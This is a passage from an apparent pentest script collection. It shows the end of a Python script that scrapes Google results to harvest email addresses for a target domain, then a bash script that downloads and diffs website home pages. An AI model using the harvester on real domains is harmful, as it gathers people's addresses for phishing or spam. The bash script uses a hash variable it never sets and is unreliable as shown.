"Cannot connect to Google Groups."+"" 42 | 43 | page_counter_web=0 44 | try: 45 | while page_counter_web < 50 : 46 | results_web = 'http://www.google.com/search?q=%40'+str(domain_name)+'&hl=en&lr=&ie=UTF-8&start=' + repr(page_counter_web) + '&sa=N' 47 | request_web = urllib2.Request(results_web) 48 | request_web.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)') 49 | opener_web = urllib2.build_opener() 50 | text = opener_web.open(request_web).read() 51 | emails_web = (re.findall('([\w\.\-]+@'+domain_name+')',StripTags(text))) 52 | for email_web in emails_web: 53 | d[email_web]=1 54 | uniq_emails_web=d.keys() 55 | page_counter_web = page_counter_web +10 56 | 57 | except IOError: 58 | print "Cannot connect to Google Web."+"" 59 | for uniq_emails_web in d.keys(): 60 | print uniq_emails_web+"" 61 | -------------------------------------------------------------------------------- /misc/compare-sites.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | clear 4 | 5 | break="==================================================" 6 | DIR=/root/Desktop/compare-sites 7 | DIFFONLY=false 8 | 9 | usage(){ 10 | echo 11 | echo 12 | echo "Compare changes to home pages." 13 | echo 14 | echo 15 | echo "Where file contains a list of URLs to be compared." 16 | echo "Usage: $0 [options] file" 17 | echo 18 | echo "Options:" 19 | echo " -c Compare versions." 20 | echo " -o Output directory. Default: /root/Desktop/compare-sites" 21 | echo 22 | echo 23 | } 24 | 25 | ts2date(){ 26 | date -d "1970-01-01 $1 sec" 27 | } 28 | 29 | while getopts "o:c" OPTION; do 30 | case $OPTION in 31 | o) DIR="$OPTARG";; 32 | c) DIFFONLY=true;; 33 | *) echo && echo && exit;; 34 | esac 35 | done 36 | 37 | shift $(($OPTIND - 1)) 38 | FILE=$* 39 | 40 | if [ -z $FILE ]; then 41 | usage 42 | exit 43 | fi 44 | 45 | if [ ! -f $FILE ]; then 46 | echo 47 | echo 48 | echo "File does not exist." 49 | echo 50 | echo 51 | exit 52 | fi 53 | 54 | if [ ! -d $DIR ]; then 55 | mkdir $DIR 56 | fi 57 | 58 | FILEHASH=${FILEHASH%%$FILE} # remove input file name from hash string (sha256sum) 59 | HDIR="$DIR/$FILEHASH" 60 | VERSION=1 61 | 62 | while [ -f $HDIR/$VERSION ]; do 63 | VERSION=$(($VERSION + 1)) 64 | done 65 | 66 | if ! $DIFFONLY; then 67 | date +%s > $HDIR/$VERSION 68 | echo 69 | echo 70 | echo "Downloading:" 71 | 72 | for URL in $(cat $FILE); do 73 | HASH=$(sha256sum <<<$URL | tr -d " -") 74 | echo "[*] $URL" 75 | wget -q $URL -O $HDIR/$URL-$HASH-$VERSION 76 | done 77 | 78 | echo 79 | echo $break 80 | else 81 | VERSION=$(($VERSION - 1)) 82 | fi 83 | 84 | if [ $VERSION -gt 1 ]; then 85 | echo 86 | echo "Versions:" 87 | 88 | for ((i=1; i<=${VERSION}; i++)); do 89 | echo $i - $(ts2date $(cat $HDIR/$i)) 90 | done 91 | 92 | echo 93 | echo -n "Base version: " 94 | read A 95 | echo -n "Compare with: " 96 | read B 97 | 98 | [ -z $A ] && A="1"; 99 | [ -z $B ] && B=$VERSION 100 | 101 | for URL in $(cat $FILE); do 102 | echo 103 | echo $break 104 | echo 105 | echo -e "\e[1;34m$URL\e[0m" 106 | HASH=$(sha256sum <<<$URL | tr -d " -") 107 | diff $HDIR/$URL-$HASH-$A $HDIR/$URL-$HASH-$B | grep '